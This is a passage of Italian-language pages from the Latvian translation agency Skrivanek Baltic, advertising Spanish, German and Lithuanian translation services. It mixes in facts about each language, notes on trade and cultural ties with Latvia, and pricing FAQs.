imparare, ed è una lingua ricca e musicale. Apprendere lo spagnolo è più semplice per coloro che conoscono una lingua romanza tra italiano e portoghese, ma è anche una delle lingue più facili per gli anglofoni. Di fatti, le due lingue utilizzano lo stesso alfabeto e sono simili da un punto di vista grammaticale. Inoltre, la pronuncia dello spagnolo è molto semplice. Secondo i linguisti, con uno studio giornaliero constante, in 24 mesi si può raggiungere un livello di spagnolo intermedio. Naturalmente, nell’apprendimento di una lingua gioca un ruolo molto importante anche il contatto con i madrelingua, ossia l’apprendimento che avviene ascoltando, leggendo e parlando. I NOSTRI TRADUTTORI E INTERPRETI DI SPAGNOLO A Skrivanek Baltic, i traduttori e interpreti di spagnolo forniscono sia traduzioni scritte di documenti standard che traduzioni tecniche complesse, come anche traduzioni certificate da un notaio. L’agenzia di traduzione Skrivanek Baltic fornisce anche servizi di correzione di bozze e di miglioramento stilistico di testi in spagnolo. I servizi di traduzione che forniamo più spesso da e verso lo spagnolo alle aziende nostre clienti sono la traduzione di contenuti di siti web e di e-commerce, l’adattamento di slogan pubblicitari, traduzioni di accordi di cooperazione, di atti legali, di sentenze e di documentazione commerciale. Forniamo inoltre anche servizi di interpretazione consecutiva in occasione di incontri di lavoro o di altro tipo, nonché di conferenze e di eventi su Zoom. Per i privati, eseguiamo traduzioni di documenti di riconoscimento, certificati di matrimonio, certificati di nascita, documenti relativi all’istruzione o alla formazione, passaporti, documentazione medica, ecc. DOVE E IN QUANTI PARLANO SPAGNOLO? Gli ispanofoni nel mondo sono circa 600 milioni e circa 400 milioni di essi sono madrelingua. È lingua ufficiale in 21 nazioni, ossia Messico, Colombia, Spagna, Argentina, Venezuela, Perù, Cile, Ecuador, Guatemala, Cuba, Repubblica Dominicana, Honduras, Bolivia, El Salvador, Nicaragua, Paraguay, Costa Rica, Uruguay, Panama, Guinea Equatoriale e Porto Rico. Inoltre, ci sono 10 paesi in cui lo spagnolo non è la lingua ufficiale, ma ha uno status speciale: Andorra, Belize, Brasile, Gibilterra, Marocco, Filippine, Trinidad e Tobago, Stati Uniti, Città del Vaticano e Sahara occidentale. Sono molti anche gli immigrati spagnoli a parlare questa lingua in Canada, Australia, Regno Unito, Francia, Svizzera, Germania, Israele, Italia e Algeria. LO SPAGNOLO NEL COMMERCIO Lo spagnolo è parlato da più di 600 milioni di persone nel mondo (il 7,8% della popolazione mondiale) ed è quindi la seconda lingua più diffusa dopo il cinese. Secondo le stime dell'Istituto Cervantes in Spagna, questo numero salirà a 754 milioni entro il 2100. Secondo le stime, nei prossimi anni l’inglese e lo spagnolo saranno le lingue dominanti del mondo degli affari e questo spinge molti studenti a scegliere di studiare lo questa lingua romanza. Lo spagnolo è la lingua ufficiale di 21 Paesi. Inoltre, il potere d’acquisto dei clienti ispanofoni è in rapida crescita sia negli Stati uniti che in Europa, ma anche il numero di aziende possedute da spagnoli è sta aumentando. Per entrare in questo mercato in espansione dove lo spagnolo è la nuova lingua commerciale, è fondamentale imparare questa lingua. Di fatti, essa potrà aiutarvi a instaurare delle durature relazioni commerciali con clienti, fornitori e partner commerciali ispanofoni. Non è solamente l’Europa a giocare un ruolo importante nel mondo dell’economia, ma anche gli Stati Uniti e diverse nazioni Latino Americane. RELAZIONI TRA SPAGNA E LETTONIA Nel 2011 è stato celebrato il 100° anniversario dell'instaurazione delle relazioni diplomatiche tra Spagna e Lettonia. Sono anni che la Spagna è uno partner commerciale stabile della Lettonia e il discreto giro d’affari nel commercio ne è la conferma. Principalmente, la Lettonia esporta in Spagna attrezzatura elettrica e prodotti del settore alimentare e agricolo, mentre importa frutta, verdura, bevande e prodotti tessili. il paese baltico importa più di quello che esporta e ciò implica un bilancio commerciale negativo, nonché una marcata differenza a livello di flusso di produzione. La Lettonia e la Spagna cooperano con successo anche nei settori della cultura e dell'istruzione. Nel 1995 l'Accademia lettone di cultura ha introdotto il sottoprogramma Comunicazione interculturale Lettonia - Spagna. Essa ha inoltre firmato accordi con numerose università spagnole nell'ambito del programma Erasmus+. L'Università di Murcia e l'Università Tecnica di Riga, ma anche l'Università Rey Juan Carlos e l'Università di Turība cooperano attivamente, ma anche l'Accademia d'Arte della Lettonia e il College di Cultura della Lettonia hanno avviato una cooperazione con istituti di formazione spagnoli. Inoltre, l'Università di Liepāja offre corsi di studio dedicati alla lingua spagnola in Lettonia. I due paesi cooperano attivamente nel campo della cultura, ma c’è una collaborazione attiva anche tra musei, librerie, teatri dell’opera e artisti. Ad esempio, il Museo nazionale delle belle arti di Lettonia e i musei spagnoli si scambiano i reperti delle collezioni museali per la conservazione. Il Centro Nazionale del Cinema della Lettonia collabora con il Festival Internazionale del Cinema di San Sebastián, uno dei più importanti e antichi festival cinematografici europei. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO LO SPAGNOLO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a spagnolo; da spagnolo a lettone; da estone a spagnolo; da lituano a spagnolo; da spagnolo a lituano; da russo a spagnolo; da spagnolo a russo; da ceco a spagnolo; da polacco a spagnolo; da spagnolo a polacco; da ucraino a spagnolo; da spagnolo a ucraino; da spagnolo a inglese; da inglese a spagnolo; da tedesco a spagnolo; da spagnolo a tedesco; da italiano a spagnolo; da spagnolo a italiano; da francese a spagnolo; da spagnolo a francese; da danese a spagnolo; da spagnolo a danese; da norvegese a spagnolo; da spagnolo a norvegese; da svedese a spagnolo; da spagnolo a svedese; da finlandese a spagnolo; da spagnolo a finlandese e altri. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO LO SPAGNOLO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a spagnolo; da spagnolo a lettone; da estone a spagnolo; da lituano a spagnolo; da spagnolo a lituano; da russo a spagnolo; da spagnolo a russo; da ceco a spagnolo; da polacco a spagnolo; da spagnolo a polacco; da ucraino a spagnolo; da spagnolo a ucraino; da spagnolo a inglese; da inglese a spagnolo; da tedesco a spagnolo; da spagnolo a tedesco; da italiano a spagnolo; da spagnolo a italiano; da francese a spagnolo; da spagnolo a francese; da danese a spagnolo; da spagnolo a danese; da norvegese a spagnolo; da spagnolo a norvegese; da svedese a spagnolo; da spagnolo a svedese; da finlandese a spagnolo; da spagnolo a finlandese e altri. --- > Traduzioni specializzate e generali, traduzioni autenticate, interpretazione, corsi di lingua e altre soluzioni per la lingua tedesca. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO IL TEDESCO QUANTO COSTANO LE TRADUZIONI DA E VERSO IL TEDESCO? Il prezzo delle traduzioni da e verso il tedesco viene calcolato singolarmente per ogni ordine e dipende da diversi fattori, in linea con il listino prezzi di Skrivanek in vigore. Il costo dei servizi di interpretazione consecutiva dipende dalla durata del servizio e dalla combinazione linguistica richiesta. Quello della traduzione scritta dipende invece dal volume del materiale da tradurre, le scadenze, le specificità del testo, le ripetizioni, le caratteristiche grafiche, la formattazione del testo, la revisione, come anche altri servizi richiesti dal cliente. È DISPONIBILE IL LISTINO PREZZI DELLE TRADUZIONI? Il listino prezzi dei servizi di traduzione scritta, come anche quelli di interpretazione (consecutiva e simultanea), di localizzazione e di adattamento da e verso il tedesco è parte integrante dell’accordo di cooperazione che stipuliamo con in nostri clienti. Prima di iniziare il progetto di traduzione e di firmare il contratto, forniamo sempre informazioni dettagliate sul costo della traduzione e su gli eventuali costi addizionali nel caso in cui il cliente richieda servizi aggiuntivi, come ad esempio la certificazione notarile. Il prezzo del servizio di traduzione dipende dal volume del materiale da tradurre, dalle ripetizioni del testo, dalla combinazione linguistica, dalle necessità di trattamento del materiale e dal contesto del testo di partenza. Avete bisogno di un servizio di traduzione da/verso il tedesco? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua tedesca: Traduzione di documenti in tedesco Interpretazione simultanea in tedesco Validazione linguistica di traduzioni in tedesco Interpretazione consecutiva in tedesco Trascrizione in tedesco Grafica e composizione tipografica in tedesco Servizi di voice over e di sottotitolaggio in tedesco Servizi di selezione di staff tedesco Marketing multiculturale in tedesco Gestione di documenti in tedesco Servizi di deposizione in tedesco Servizi di data room virtuali in tedesco Supporto per l'e-learning in tedesco Cercate un servizio linguistico in tedesco? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Cliente *PrivatoAzienda Nome e cognome *Telefono Aggiungere Rimuovere Nome e cognome *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere Nome dell'azienda *Telefono Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere E-mail *Combinazione di lingue Aggiungere Rimuovere MessaggioAggiungete un documento fino a 20 MB; se le dimensioni del documento sono maggiori, specificatelo nel messaggio e vi contatteremo. Click or drag files to this area to upload. You can upload up to 10 files. Come ci hai conosciuto? Come ci hai conosciuto? Sono già cliente di SkrivanekTramite ricerca GoogleAmici/conoscentiFacebookTwitterLinkedInInstagramPubblicità esterna (cartelloni pubblicitari, ecc. )FieraQuotidiani, giornali, riviste, ecc. Altrove *Acconsento al trattamento dei miei dati personali ai fini della presente richiesta in conformità con l'Informativa sulla privacy. di Skrivanek Baltic. Invia Qualità e riservatezza garantite dai certificati ISO I nostri project manager parlano lettone, russo, inglese, tedesco e polaccoIl 99% dei clienti riceve un'offerta di prezzo in meno di 15 minutiPiù di 3000 professionisti della lingua e madrelinguaOltre il 98% dei nostri clienti ci consiglierebbe ai loro amici e partnerTraduciamo ogni anno più di 16 milioni di parole ALCUNI FATTI INTERESSANTI SULLA LINGUA TEDESCA E SULLA GERMANIA Il tedesco è una lingua germanica occidentale appartenente alla famiglia delle lingue indoeuropee. Le sue origini risalgono a poco prima del I secolo a. C. , quando le tribù germaniche arrivarono in Europa centrale da sud. In seguito la base linguistica germanica si divise in tre forme regionali: lingue germaniche settentrionali, orientali e occidentali. Nel corso dei secoli, il tedesco occidentale si è sviluppato negli odierni tedesco, olandese, frisone, lussemburghese, afrikaans, scozzese e inglese. La storia del tedesco contemporaneo può essere suddivisa in tre periodi: 1. Antico tedesco (750-1050 d. C. ) 2. Tedesco medio (1050-1500) 3. Tedesco moderno (dal 1500 a oggi). Il tedesco è la lingua madre di circa 108 milioni di persone, collocandosi quindi al decimo posto tra le lingue più parlate al mondo. Tuttavia, esso non è la lingua con più parlanti nativi all’interno dell’UE. Il tedesco è la lingua ufficiale di diversi paesi europei: Austria, Lichtenstein, Lussemburgo, Svizzera e Germania. Ma ci sono anche comunità di lingua tedesca in Belgio orientale, nella Danimarca meridionale, in Francia (nella regione dell'Alsazia) e in Italia settentrionale. Secondo il traduttore e filologo lettone Valdis Bisenieks, ciò che rende il tedesco speciale è il fatto che questa lingua non si sia sviluppata in modo naturale, come ad esempio le lingue originate da un dialetto, ma fu creata artificialmente, iniziando da Lutero fino alla così chiamata Bühnendeutsch (pronuncia teatrale tedesca) di Theodor Sieb, che in Germania raggiunse una popolarità tale da diventare un metodo di pronuncia universale. Prendendo numerose parole da dialetti tedeschi diversi, Lutero rese il tedesco piuttosto artificiale, tuttavia in un certo senso anche naturale, e nei casi di varianti di parole, emergono molti significati differenti. Il tedesco è stato la lingua di Bach, Beethoven, Brahms, Brecht, Einstein, Freud, Goethe, Grass Hegel, Kafka, Kant, Mann, Mozart, Nietzsche, Schubert, Wagner, Weber e di centinaia di altri filosofi, compositori, artisti, scienziati e scrittori di fama mondiale! Il 68% degli studenti giapponesi studia il tedesco. A proposito del tedesco e dell'amore dei tedeschi per le parole composte, è famosa una citazione di Mark Twain che dice che esse non sono parole, ma "passeggiate grammaticali che si muovono maestosamente sulla pagina". Irriteranno sicuramente gli studenti, ma sono interessanti per gli amanti delle lingue. In tedesco tutti i sostantivi iniziano con la lettera maiuscola e sono preceduti da articoli che ne indicano il genere. Quelli femminili sono preceduti dall'articolo "die", quelli maschili da "der" e quelli di genere neutro da "das". Essendo composta da 63 lettere, "Rindfleischetikettierungsüberwachungsaufgabenübertragungsgesetz" è la parola composta tedesca più lunga. Essa significa "Legge sul trasferimento degli obblighi per il controllo dell’etichettatura della carne bovina" ed è stata creata nel 1999 durante la crisi della BSE (Encefalopatia Spongiforme Bovina). Era abbreviata in "RkReÜAÜG", che di per sé era impronunciabile. In Germania si contano almeno 35 dialetti e le persone provenienti da diverse regioni potrebbero avere difficoltà nel comprendersi a vicenda. Questo spiega perché i film regionali sono sottotitolati. I tedeschi sono protettivi verso la loro lingua. Di fatti, la maggior parte dei film stranieri sono doppiati da attori tedeschi prima di essere proiettati. Il doppiaggio è diventato quindi un'industria da cento milioni di euro. L’azienda dolciaria tedesca Haribo ha lanciato un progetto in cui i bambini locali possono scambiare ghiande con dolciumi. Le ghiande così raccolte sono poi state mandate alle riserve naturali per nutrire gli animali. Ogni anno in Germania sono consumate 800 milioni di salsicce al curry. Esse godono di una popolarità tale che gli è stato perfino dedicato un museo a Berlino Data la sua lunga storia, cultura e tradizioni, sono tante le cose che si possono dire sulla Germania. È terra di geni di fama mondiale in campi come quello della cultura, dell’istruzione, delle scienze, delle scienze politiche, ma anche in altri campi. Ma la cosa più importante è che il tedesco è una lingua che permette di scoprire una nazione e una cultura meravigliose, senza dimenticare le a volte curiose usanze della nazione. L'ALFABETO TEDESCO L'alfabeto tedesco è composto da 26 lettere latine. Le lettere con l’umlaut (ä, ö, ü) e la legatura ß non sono incluse nell'alfabeto. Mentre l'umlaut, o diacritico, segna l'addolcimento di una vocale, la legatura Eszett ß è la combinazione delle lettere "ss" in un unico simbolo. La scrittura gotica è stata utilizzata ufficialmente fino all'inizio del XX secolo. L'ortografia attuale è stata introdotta nel XIX secolo, ma è stata approvata ufficialmente dopo la rivoluzione del 1918. Il Partito Nazionalsocialista dei Lavoratori Tedeschi tentò senza successo di ripristinare la scrittura gotica, la quale oggi è relegata ad un ruolo meramente decorativo. I fonemi sono rappresentati da nove vocali dell'alfabeto latino (a, e, i, y, o, u, ä, ö, ü) e da 20 consonanti (b, c, d, f, g, h, j, k, l, m, n, p, q, r, s, ß, v, w, x, z), e dalle loro combinazioni (ad esempio sch /ʃ/, ng/ŋ/). L'ortografia tedesca segue per lo più i principi morfologici e fonetici, ma conserva anche in parte l’ortografia storica e quindi, ad esempio, diversi segni di lunghezza vocalica. QUANTO È COMPLESSA LA LINGUA TEDESCA? “Una persona dotata dovrebbe imparare l'inglese in 30 ore, il francese in 30 giorni e il tedesco in 30 anni". -Mark Twain Il tedesco non è una delle lingue più difficili da imparare. Circa il 45% delle parole è simile a quelle dell’inglese, rendendolo più semplice da imparare per chi parla questa lingua. Tuttavia è necessario prestare particolare attenzione all’uso dei tre articoli. È quindi necessaria pratica e memorizzazione. Inoltre, le frasi hanno una struttura grammaticale particolare. Ad esempio, se ci sono due verbi in una frase, o se è utilizzato un tempo composto, il secondo verbo è posto alla fine della frase. Questa caratteristica grammaticale differenzia il tedesco dalle altre lingue, le quali raramente hanno una struttura simile. Pertanto, per imparare il tedesco è necessario munirsi di pazienza, di tempo e di desiderio di apprendere la lingua, come dopotutto è necessario fare anche con le altre lingue. Non tutti impiegano lo stesso tempo per imparare la lingua: qualcuno potrebbe metterci diversi anni, mentre altri solo uno. Per arrivare ad un livello tale da poter intrattenere una conversazione in tedesco, dovrebbero essere necessarie 30 settimane o 750 ore di studio. DOVE E IN QUANTI PARLANO TEDESCO? Nel mondo sono circa 185 milioni gli individui che parlano tedesco, di cui 105 milioni sono madrelingua. Sono quindi 80 milioni quelli che usano il tedesco come seconda lingua o come lingua straniera nella loro vita quotidiana. Esso è parlato principalmente in Germania, dove oltre il 95% della popolazione è madrelingua, in Austria, dove lo è l'89%, e in Svizzera dove i madrelingua sono invece il 64%. Il tedesco è inoltre la lingua madre di molti abitanti del Liechtenstein e del Lussemburgo. Per quanto riguarda il resto d'Europa, sono molti i germanofoni che vivono nel nord Italia, nel Belgio orientale e nella regione dell'Alsazia in Francia. Piccole comunità di lingua tedesca vivono anche in Repubblica Ceca, Ungheria, Polonia, Romania, Russia e Kazakistan, dove i tedeschi furono deportati durante la Seconda guerra mondiale. Alcuni di loro sono poi tornati in patria negli anni Ottanta e Novanta. Piccole comunità di lingua tedesca si trovano anche in Bulgaria, Cipro, Grecia, Israele, Italia, Marocco, Paesi Bassi, Portogallo, ecc. Fuori dall’Europa invece, sono molti i germanofoni stanziati negli Stati uniti, in Canada, in Brasile e in Argentina. Il tedesco è la lingua ufficiale in Germania, Belgio, Austria, Liechtenstein, Lussemburgo e Svizzera e una delle lingue di lavoro ufficiali dell'Unione Europea. I NOSTRI TRADUTTORI E INTERPRETI DI TEDESCO Il nostro team di interpreti e traduttori di tedesco si occupa della traduzione scritta di documenti standard, di traduzioni tecniche, ma anche di traduzioni certificate da un notaio. L'agenzia di traduzione Skrivanek si occupa anche della revisione e della correzione dello stile dei testi in tedesco. Solitamente, per le aziende nostre clienti ci occupiamo di descrizioni di prodotti, di traduzioni di contenuti per l’e-commerce e di siti web, di traduzioni di slogan pubblicitari e di marketing, di traduzioni di accordi di cooperazione e di documenti commerciali da e verso il tedesco. Offriamo anche servizi di interpretazione consecutiva e simultanea in occasione di incontri formali e di altro tipo, anche su Zoom e su altre piattaforme online, e anche in occasione di conferenze dal vivo e di altri eventi. I traduttori di Skrivanek dal lettone al tedesco lavorano anche con enti statali per i quali si occupano della traduzione di accordi di cooperazione e di documentazione legale. Se richiesto, forniamo anche traduzioni di testi e documentazione di carattere medico a persone sia fisiche che giuridiche. Per i privati offriamo traduzioni di documenti d'identità, di certificati di matrimonio, di certificati di nascita, di documenti relativi all’istruzione o alla formazione, di passaporti, di documentazione medica, e di tanto altro. Essendo un’agenzia di traduzione internazionale che lavora con clienti provenienti da tutti gli stati baltici, siamo in grado di fornire ai nostri attuali e potenziali clienti traduzioni dal tedesco al lituano. Inoltre, nel nostro team lavorano anche traduttori e interpreti esperti che lavorano dal tedesco all’inglese. IL TEDESCO NEL COMMERCIO Essendo il paese più popolato dell’Unione Europea, il ruolo della Germania nell’economia internazionale e nel commercio ha visto una notevole crescita dopo la sua riunificazione. Questo paese ha un'economia sociale di mercato, ossia un capitalismo di mercato aperto, che fornisce anche prestazioni di servizio sociale. A livello economico, la Germania è uno dei maggiori paesi al mondo, nonché uno dei principali paesi importatori/esportatori. I servizi, che comprendono settori come le telecomunicazioni, la sanità e il turismo sono quelli che influiscono di più sull'economia del paese. L'industria e l'agricoltura sono altri settori importanti per l’economia. In termini di sviluppo economico, al momento la Germania potrebbe essere al secondo posto nel mondo, dietro al Giappone. Inoltre, il paese non ha eguali in Europa se si considerano la qualità della vita, il mercato del lavoro e l’imprenditorialità. Essendo il tedesco la lingua madre di più di 185 milioni di persone stanziate in Germania e non solo, la nazione si distingue per un avanzato sviluppo tecnologico e per la sua popolarità nell’e-commerce. Essa è anche un fantastico settore di mercato per imprenditori stranieri. Pertanto, se si vogliono instaurare relazioni commerciali in Germania e nelle nazioni dove il tedesco è la lingua ufficiale, sapere questa lingua è importante e può avere un’influenza positiva. Per di più, il pubblico di riferimento dell'e-commerce è enorme. Quindi, se volete attrarre un partner commerciale dalla Germania ed essere coinvolti nella più dinamica economia imprenditoriale del mondo, è necessario imparare il tedesco. Effettivamente, i tedeschi preferiscono fare affari con aziende i cui dipendenti parlano la loro lingua. È stato dimostrato infatti che essi sono piuttosto diffidenti anche nei confronti di marchi di fama mondiale i cui siti web sono in una sola lingua; questo esclude i clienti tedeschi, anche se parlano inglese. LA COLLABORAZIONE TRA GERMANIA E LETTONIA I tedeschi di Lettonia, parte dei tedeschi delle Repubbliche baltiche o dei tedeschi del baltico, sono una delle minoranze storiche della Lettonia e oggi vivono a Riga e Liepaja. Nel 2017, i tedeschi di Lettonia erano l'ottava minoranza più numerosa e, secondo il censimento del 2011, erano 3. 042 i tedeschi che vivevano in Lettonia. L'arrivo dei tedeschi in Lettonia è menzionato nella prima parte delle Cronache di Enrico di Livonia, scritte all'inizio del XIII secolo. Il vescovo St. Meinard di Holstein giunse nella regione della Bassa Daugava attorno al 1180 e vi ci stanziò assieme ai livoni che si trovavano già lì. Durante le Crociate Livoniane, nelle terre conquistate dai crociati tedeschi, fu fondata Terra Mariana. Così accanto al latino, il tedesco e la sua variante dialettale basso-tedesca diventarono sempre più importanti come lingue della comunicazione internazionale. Inoltre, dopo la creazione del Ducato di Curlandia e Semigallia, nonché della Livonia svedese, il tedesco diventò la lingua più utilizzata nella conservazione dei documenti. Anche dopo la capitolazione di Vidzeme nel 1710, i tedeschi del baltico e la lingua tedesca continuarono a dominare nella regione. In aggiunta, nel 1766 l’imperatrice dell’Impero russo Caterina la grande ordinò la fondazione di una colonia di contadini tedeschi nel distretto di Irsi. Il primo colono vi ci stanziò nel 1765 da Lubecca e fu seguito a ruota nei due anni successivi da altre 86 famiglie provenienti da Palatinato, Darmstadt e Pomerania. Alla fine del XVIII secolo circa il 6,5% della popolazione della Lettonia era tedesca, mentre alla fine del XIX secolo, secondo il censimento del 1897, il 7,1% (circa 138 mila) dei residenti era tedesco. In seguito, come risultato della Rivoluzione del 1905, tra il 1908 e il 1913 la nobiltà tedesca della Curlandia iniziò a far stanziare i coloni tedeschi, i quali si trovavano nell’Impero russo (Polonia e Russia meridionale), nelle tenute che avevano comprato grazie ai finanziamenti della Kurlandischer Kreditverein a Jelgava. La prima colonia di contadini tedeschi della Curlandia fu fondata nei distretti di Kurmale e di Planica. Erano circa 13. 000 in totale i contadini tedeschi che si stabilirono in questa provincia all'inizio della Prima Guerra Mondiale. Dopo l’indipendenza degli anni ‘20 e ‘30 del novecento, il numero di tedeschi in Lettonia diminuì, tuttavia mantenendo la loro influenza sull’economia Lettone: nel 1935 il 15,7% delle 922 grandi imprese industriali era di proprietà tedesca, le quali rappresentavano il 36. 7% della produzione totale. Dopo l'inizio della Seconda guerra mondiale, tra il 7 novembre e il 16 dicembre 1939, circa 47. 000 tedeschi del baltico emigrarono dalla Lettonia, mentre circa 4. 000-7. 000 rimasero. Dopo l'occupazione della Lettonia, il 10 gennaio 1941, il governo tedesco e quello dell'URSS firmarono un accordo per consentire ai tedeschi della Lettonia di continuare ad emigrare. Oggigiorno, Germania e Lettonia sono legate da vicinanza geografica e da una lunga storia comune, specialmente da quando la Lettonia è entrata a far parte dell’UE e della NATO, cosa che ha ricevuto l’attivo supporto del governo tedesco. Essendo diventati dei veri e propri partner, i destini di queste due nazioni sono strettamente correlati. Questo partenariato si è riaffermato anche nella pratica, dato che le difficoltà causate dalla crisi finanziaria e da quella dei rifugiati, nonché da quelle legate alla politica di sicurezza, possono essere superate solo mediante un sforzo congiunto. Quindi non si tratta solamente della partecipazione della Germania nello spazio aereo controllato e nelle strategie nel baltico, nella marina militare o nel supporto militare che, per esempio, è impiegato dalla NATO negli stati baltici e nella Polonia tramite uno dei battaglioni multinazionali sotto la leadership della Germania. La Germania ha contribuito in maniera significativa alla sicurezza e alla stabilità della regione baltica e partecipa regolarmente alle operazioni di pattugliamento aereo del Baltico. La Lettonia e la Germania hanno una stretta collaborazione anche nel settore dei trasporti e della logistica. Di fatti, la Germania è uno dei paesi le cui aziende sono coinvolte nel progetto relativo all’infrastruttura dei trasporti di Rail Baltica. Nel dicembre 2021, a Riga, è stato firmato un memorandum d’intesa tra il ministero dei trasporti, quello della previdenza sociale e dell’istruzione, e quello della scienza, e DB Engineering & Consulting GmbH, società sussidiaria di Deutsche Bahn, per un accordo di cooperazione nello sviluppo dell’istruzione nel settore ferroviario e dei trasporti. Questo Memorandum sottolinea come entrambe le nazioni siano consapevoli del bisogno di costruire un istituto finalizzato alla formazione in ambito ferroviario, così da aiutare Riga, ma anche la Lettonia in generale, a diventare il centro nevralgico della formazione riguardante il sistema ferroviario baltico e il settore logistico. Anche dopo la firma del Memorandum di cooperazione, il lavoro pratico finalizzato a determinare i passi da intraprendere per formare tale accademia andrà avanti. La cooperazione tra Lettonia e Germania è particolarmente attiva anche nell’ambito dell’istruzione superiore, grazie ad accordi di cooperazione bilaterale tra istituti di istruzione superiore e nel contesto del sottoprogramma Erasmus Lifelong Learning Programme (Programma Erasmus di apprendimento continuo). Sono diversi anni che il Bundestag tedesco offre ai giovani fino a 32 anni l'opportunità di partecipare al Programma di borse di studio parlamentari internazionali, al quale la Lettonia ha aderito nel 1992. Dal 2010, anche la Saeima lettone (parlamento lettone) offre ogni anno agli studenti tedeschi l'opportunità di partecipare a dei tirocini. Inoltre, l’ambasciata tedesca e l’Istituto Goethe di Riga, in collaborazione con l’Associazione lettone degli insegnanti di tedesco e il Centro nazionale per l’istruzione, forniscono un notevole supporto all’insegnamento della lingua tedesca negli istituti di istruzione lettoni. La storia tedesca e lettone sono state in stretto contatto per diversi secoli, durante i quali la cultura e le tradizioni tedesche hanno avuto un impatto significativo sulla formazione e sullo sviluppo della vita culturale e professionale lettone. È dal 1993 che l’Istituto Goethe opera in Lettonia ed è diventato un partner attivo nell'ambiente culturale e artistico per molte istituzioni culturali lettoni. Il contributo di questo istituto situato a Riga e quello di altri enti e rappresentanti culturali tedeschi nel far conoscere alla popolazione lettone la letteratura, l’arte, la musica, il cinema e non solo tedeschi è molto apprezzato e supportato. Anche l'Ambasciata tedesca in Lettonia si trova a Riga: https://riga. diplo. de/ SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL TEDESCO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a tedesco; da tedesco a lettone; da estone a tedesco; da tedesco a estone; da lituano a tedesco; da tedesco a lituano; da russo a tedesco; da tedesco a russo; da ceco a tedesco; da tedesco a ceco; da polacco a tedesco; da tedesco a polacco; da ucraino a tedesco; da tedesco a ucraino; da tedesco a spagnolo; da spagnolo a tedesco; da inglese a tedesco; da tedesco a inglese; da italiano a tedesco; da tedesco a italiano; da francese a tedesco; da tedesco a francese; da danese a tedesco; da tedesco a danese; da norvegese a tedesco; da tedesco a norvegese; da svedese a tedesco; da tedesco a svedese; da finlandese a tedesco; da tedesco a finlandese, ma anche altre combinazioni. SERVIZI CHE FORNIAMO PIÙ SPESSO DA/VERSO IL TEDESCO: traduzioni generali e specialistiche; traduzioni certificate da un notaio; localizzazione; traduzione automatica neurale; servizi di desktop publishing (DTP); adattamento di testi e copywriting; interpretazione; formazione linguistica; verifica delle competenze linguistiche. COMBINAZIONI LINGUISTICHE: Da lettone a tedesco; da tedesco a lettone; da estone a tedesco; da tedesco a estone; da lituano a tedesco; da tedesco a lituano; da russo a tedesco; da tedesco a russo; da ceco a tedesco; da tedesco a ceco; da polacco a tedesco; da tedesco a polacco; da ucraino a tedesco; da tedesco a ucraino; da tedesco a spagnolo; da spagnolo a tedesco; da inglese a tedesco; da tedesco a inglese; da italiano a tedesco; da tedesco a italiano; da francese a tedesco; da tedesco a francese; da danese a tedesco; da tedesco a danese; da norvegese a tedesco; da tedesco a norvegese; da svedese a tedesco; da tedesco a svedese; da finlandese a tedesco; da tedesco a finlandese, ma anche altre combinazioni. --- > Traduzioni generiche e specialistiche, certificate dal notaio, in lingua lituana. Interpretazione e altri servizi linguistici in lingua lituana. - Published: 2023-12-19 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/ - Translation Priorities: Optional TRADUZIONI DA E VERSO IL LITUANO QUANTO COSTANO LE TRADUZIONI DA E VERSO IL LITUANO Nella nostra agenzia di traduzione, il prezzo di ogni servizio di traduzione da/verso il lituano è deciso singolarmente per ogni ordine, tenendo conto di parametri come la quantità di materiale da tradurre, la scadenze di consegna della traduzione, le caratteristiche del testo di partenza, le ripetizioni, l'elaborazione grafica, la formattazione del testo, il servizio di revisione del testo e qualsiasi altro servizio scelto dal cliente. È DISPONIBILE IL LISTINO PREZZI DEI SERVIZI DI TRADUZIONE? Sì, il listino prezzi dei servizi di traduzione scritta e orale da/verso il lituano è incluso nell’accordo di collaborazione che stipuliamo con i nostri clienti. Prima di iniziare il progetto di traduzione, i nostri project manager forniscono sempre informazioni dettagliate sul prezzo dell’ordine, il quale è diverso per ogni progetto ed è calcolato sulla base del listino prezzi corrente di Skrivanek Esso tiene conto, tra gli altri, del numero delle parole nel testo di partenza e delle ripetizioni. Volete sapere quanto costa tradurre i vostri documenti? Contattateci o mandateci un’e-mail con il materiale da tradurre! Avete bisogno di un servizio di traduzione da/verso il lituano? O di una combinazione tra un servizio di traduzione e uno commerciale correlato? Contattate Skrivanek Baltic oggi stesso per ricevere un preventivo gratuito! Forniamo i seguenti servizi in lingua lituana: Traduzione di documenti in lituano Interpretazione simultanea in lituano Validazione linguistica di traduzioni in lituano Interpretazione consecutiva in lituano Trascrizione in lituano Grafica e composizione tipografica in lituano Servizi di voice over e di sottotitolaggio in lituano Servizi di selezione di staff lituano Marketing multiculturale in lituano Gestione di documenti in lituano Servizi di deposizione in lituano Servizi di data room virtuali in lituano Supporto per l'e-learning in lituano Cercate un servizio linguistico in lituano? Prepareremo il servizio giusto per voi e vi consulteremo sull’argomento di vostro interesse. Please enable JavaScript in your browser to complete this form. Please enable 